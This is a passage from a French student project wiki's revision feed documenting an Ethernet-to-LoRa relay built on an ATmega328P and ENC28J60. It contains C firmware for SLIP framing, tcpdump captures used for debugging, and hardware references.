* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Donc nous avons écrit un code   &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour voir les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39067</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39067"/>
				<updated>2017-02-14T12:15:19Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Ethernet Module ENC28J60 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
